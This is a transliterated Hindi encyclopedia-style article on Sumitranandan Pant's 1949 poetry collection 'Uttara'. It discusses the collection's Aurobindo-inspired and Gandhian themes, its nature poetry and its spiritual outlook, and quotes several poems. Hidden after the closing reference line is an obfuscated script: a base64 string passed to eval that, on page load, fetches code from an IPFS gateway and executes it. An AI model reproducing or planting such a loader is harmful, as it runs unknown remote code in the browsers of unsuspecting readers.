उत्तरा -सुमित्रानन्दन पंत

uttara -sumitranandan pant
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kavi	sumitranandan pant
mool shirshak	uttara
prakashan tithi	1949 ee.
desh	bharat
bhasha	hindi
prakar	kavy sankalan
vishesh	'uttara' ka arambh, 'yugavishad', 'yugasandhi', 'yugasangharsh' jaisi rachanaoan se hota hai jinamean kavi apani pidhi ke sangharshoan se utpann ghanibhoot pi da ko vani deta hai.

uttara sumitranandan pant ka dasavaan kavy-sankalan hai. isaka prakashan samay 1949 ee. hai. uttara ko 'svarnadhooli' aur 'svarnakiran' ka hi bhav prasar kahana upayukt hoga kyoanki isamean bhi kavi ne chenatavadi aravind darshan ko mooladhar mana hai.

sankalan ki visheshataean

is sankalan ki 75 rachanaoan mean kavi ki bhavadhara ka roop prayah vahi hai jo uparyukt do sankalanoan mean milata hai, parantu bhavabhoomi adhik vyapak, suspasht aur parimarjit ho gayi hai tatha abhivyanjana bhi sahaj, prasadik evan vividh hai. 'uttara' ki prastavana mean kavi ne aravind-darshan ke rrin ko svikar karane ke sath apani nayi manobhoomika vishleshan bhi kiya hai aur apane navin jivan-tantr ki vyakhya bhi prastut ki hai jo bhautik aur adhyatmik jivan-paddhatiyoan ke samikaran evan parishkaran mean vishvas rakhata hai. kavi is bhoomika mean bharatiy darshan ke prati ek naya drishtikon samane lata hai-

bharatiy darshan bhi adhunik bhautik darshan (marksavadi) ki tarah saty ke prati ek upanayan (eproch) matr hai, kiantu adhik paripoorn, kyoanki vah padarth, pran (jivan), man tatha chetana (spirit), roopi manav, saty ke samast dharataloan ka vishleshan tatha sanshleshan kar sakane ke karan upanishath (poorn eproch) ban gaya hai.

• is chiantan ko age badhakar kavi gaandhivadi vicharadhara ko vishvachiantan ka anivary aang manata hai. pant ke vichar mean -

bharat ka dan vishv ko rajanitik tantr ya vaijnanik tantr ka dan nahian ho sakata, vah sanskrit aur vikasit manoyantr ki hi bheant hogi. is yug ke mahapurush gaandhiji ahiansa ko ek vyapak saanskritik pratik ke hi roop mean de gaye haian, jise ham manav-chetana ka navanit, athava vishvamanavata ka ekamatr sar kah sakate haian."

is prakar kavi gaandhivad ke saty ahiansa ke siddhaantoan ko aant: sangathan (sanskriti) ke do anivary upadan manata hai, parantu saty ki vyavastha mean usane do bhed mane haian- ek oordhv athava adhyatmik aur doosara samadik jo hamare naitik aur samajik adarshoan ke roop mean vikasonmukh hota hai. is yojana ke dvara kavi ko apane naye rajanitik aur gaandhivad ke sath rakhane ki suvidha prapt huee hai. phalat: vah manav-vikas ke aantarvahishchetanasrotoan ko adhik vyapak aur santulit chiantan de saka hai. 'uttara' ki kavitaean isi manobhooti ka kavyachitr haian. unamean chiantan ki apeksha grahan, asvadan aur anand hi adhik ubhara hai. isi mean unaki vishishtata bhi samajhi ja sakati hai.

naye yug ki gita

'uttara' ke git naye yug ki gita hai. in gitoan mean sady: svatantr bharat ki aantaratma ke punarnirman ki chetana spasht hai. gitoan ki bhoomi bauddhik vad-vivad ko prashray nahian deti. kavi ka man atarky, achianty hai. vah kraantadarshi hai. naye bhoo-man ki anivaryata ke prati usaka dridh vishvas hai aur vah usaka abhinandan karana chahata hai. usaki astha hai ki is naye parivartan ko pahale kavi hi apane man mean moortiman karega. isilie usake kee gitoan mean usaki bhavasadhana ke svaroop ko vani mili hai. yahaan vah navajivan ka shilpi kalakar ban jata hai jisaka pratyek prahar prastar ke ur mean chhipi navamanavata ko utkirn karane mean samarth hai.

• 'svapnakraant' shirshak rachana mean vah apane uttaradayitv ka prakashan in shabdoan mean karata hai-

"svapn-bhar se mere kndhe,
jhuk p date bhoopar,
kalaant bhavana ke pag dagamag,
kanpate ur mean ni:svar.
jvalagarbh shonit ka badal,
lipata dharashikhar par ujjval,
niche, chhaya ki ghati mean jagata krandan marmar."

• isi prakar 'yugasangharsh' mean:

"gitakraant re is yug ke kavi ka man,
nrityamatt usake chhandoan ka yauvan.
vah hans-hansakar chir raha tam ke dhan,
murali ka madhurav kar bharata garjan.
navy chetana se usaka ur jyotit,
manav ke aantavaibhav se visamit.
yugavigrah mean use dikhati bianbit,
vigat yugoan ki ruddh chetana simit."

• 'jivanadan','svapn-vaibhav','avagahan','bhoo-svarg','gitavibhav','nav-pavak','anubhooti','kavyachetana' aur 'gitavihag' shirshak rachanaoan mean kavi ki apane prati jagarookata aur astha hi prakat hoti hai. usaka vishvas hai ki vah nayi chetana ka agradoot hai. vah kahata hai-

"maian re keval unman madhukar,
bharata shobha svapnil guanjan,
kal ayeange ur tarun bhriang,
svarnim madhukan karane vitaran (navapadak)."

in rachanaoan mean ham kavi ko keval udgata ke roop mean hi nahian pate, vah naye yajn ka adhvaryu bhi ban jata hai. samanyat: yah arop lagaya jata hai ki pant ka chetanavad unaki maulik prerana nahian hai, parantu kavi ne araviandavad ki bhoomika par kis prakar astha, prem, ullas aur saundary ke naye-naye rangoan ki rangoli banayi hai, isaki or alochakoan ka dhyan hi nahian jata. vichar, dharm aur darshan kavy ke kshetr se bahishkrit nahian kiye ja sakate. dekhana yah hai ki unamean kavi ke svapn ban jane ki samarthy hai ya nahian athava ve kavi ki kalpana aur bhavukata ko garbhit karane mean saphal haian ya nahian. pant ki rachanaoan mean divy jivan ki darshanik aur oohatmak abhivyakti nahian huee hai. ve bhavapravan kavi ki pratyakshanubhooti aur sankalpasiddhi ke ullas se ot-prot haian. unamean bahirantar-roop ko kalpana,bhavana, saundary aur bhavayog ko vishay banaya gaya hai. at: in rachanaoan ko ham aravindavad ka kavyasanskaran athava bhavatmak parinati bhi man sakate haian.

pidhi ka sangharsh

'uttara' ka arambh, 'yugavishad', 'yugasandhi', 'yugasangharsh' jaisi rachanaoan se hota hai jinamean kavi apani pidhi ke sangharshoan se utpann ghani bhoot pi da ko vani deta hai. is manobhav se kavi ka shighr hi tran ho jata hai aur vah chitsatta ke prati vinat hokar prarthi hota hai-

"jyotidravit ho, he ghan.
chhaya sanshay ko tum,
trishna karati garjan,
mamata vidyut-nartan,
karati ur mean pratikshan.
karuna-dhara mean jhar sneh-
ashru barasa kar,
vyatha-bhar uraka har,
shaant karo akul man." (aantarvyatha)

vah prarthana usake man mean jagaran ke naye dvar khol deti hai. svayan kavi nav manav ka pratik ban jata hai aur 'agnichakshu' kahakar apana abhivadan karata hai. is nav manav ko gherakar hi usake nav-manavavadi sapane mandarate haian. 'uttara' mean in naye sapanoan ko mukt chho d diya gaya, kisi bauddhik tantr mean nahian baandha gaya. isi se unamean bhavodvelan ki apar shakti hai. 'bhoo-jivan', 'bhoo-yauvan', 'bhoo-svarg' aur 'bhoo-praangan' shirshak rachanaoan mean uttar pant bhavajagat ki jis madhurima ko vani dete haian, vah aantarrashtriy hi nahian, sarvabhaumik hai kyoanki usaka uts manav ki aantaratma hai. pant ki is nayi vicharana ko bhoo-vad kaha gaya hai aur svayan unhoanne bhoomikaoan aur nibandhoan mean apane is naye jivan-darshan ko tantr ki vyavastha dene ki cheshta ki hai parantu kavita mean jo manomay svapn-srishti is vicharana se jagrat hai usaki apani sarthakata hai. vah chir navin jivananaishana ke saurabh se gandhamadhur ban gayi hai. kavi ne kuchh rachanaoan mean jaise- 'jagaran-gan','uddhodhan' adi mean bharat ke taruny ko is 'asidharavrat' ke lie lalakara hai jo manodadhi ka manthan kar vriddh dhara par naye chetana-svarg ka nirman karane mean samarth hai. usase manav ko devottar aur bharatabhoo ko svargabhoo banane ki chunauti di hai.

prakriti-kavy

'uttara' ka prakriti-kavy bhi ek nayi sushama se otaprot hai jo 'svarnakiran' ki prakriti chetana ki parinati hai parantu usamean bhavana aur saundary chetana ke jo shat-shat kamal khile haian, ve apani pratibha mean svayan pant ke praudh vyaktitv aur unaki aant: sadhana ka jaisa bahumukhi, sarthak aur samarth prakashan hai vaisa kadachit koee doosara sankalan nahian. kavi ka vishadagrast man anek vicharavivartoan aur bhavavartoan mean khulakar nav jagaran ki dipashikha mean badal jata hai. yug ke garalaka akanth pan kar usane nilakanth shiv ki bhaanti navachetana ka varadan hi bikhera hai. is aantarik aur adhyatmik sadhana ki paripoornata aur utkarshamayata ka pratik ve prakriti rachanaean haian jo manav-chetana ke roopaantar ko hi naya roop rang deti haian.

adhyatm chetana ka mahagit

isamean sandeh nahian ki 'guanjan' ki bhaanti hi 'uttara' bhi kavi ki aantarmukhi saundaryasadhana aur adhyatm chetana ki mahagiti hai. usaki sphut rachanaoan mean atimanasi oordhv-chetana aur adhimanasi-chetana ke sare saragam dau d gaye haian. kuchh atma ke akuanthit aur aparimey saundary evan ullas ke nate hi manoram ho utha hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

dhireandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 48.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>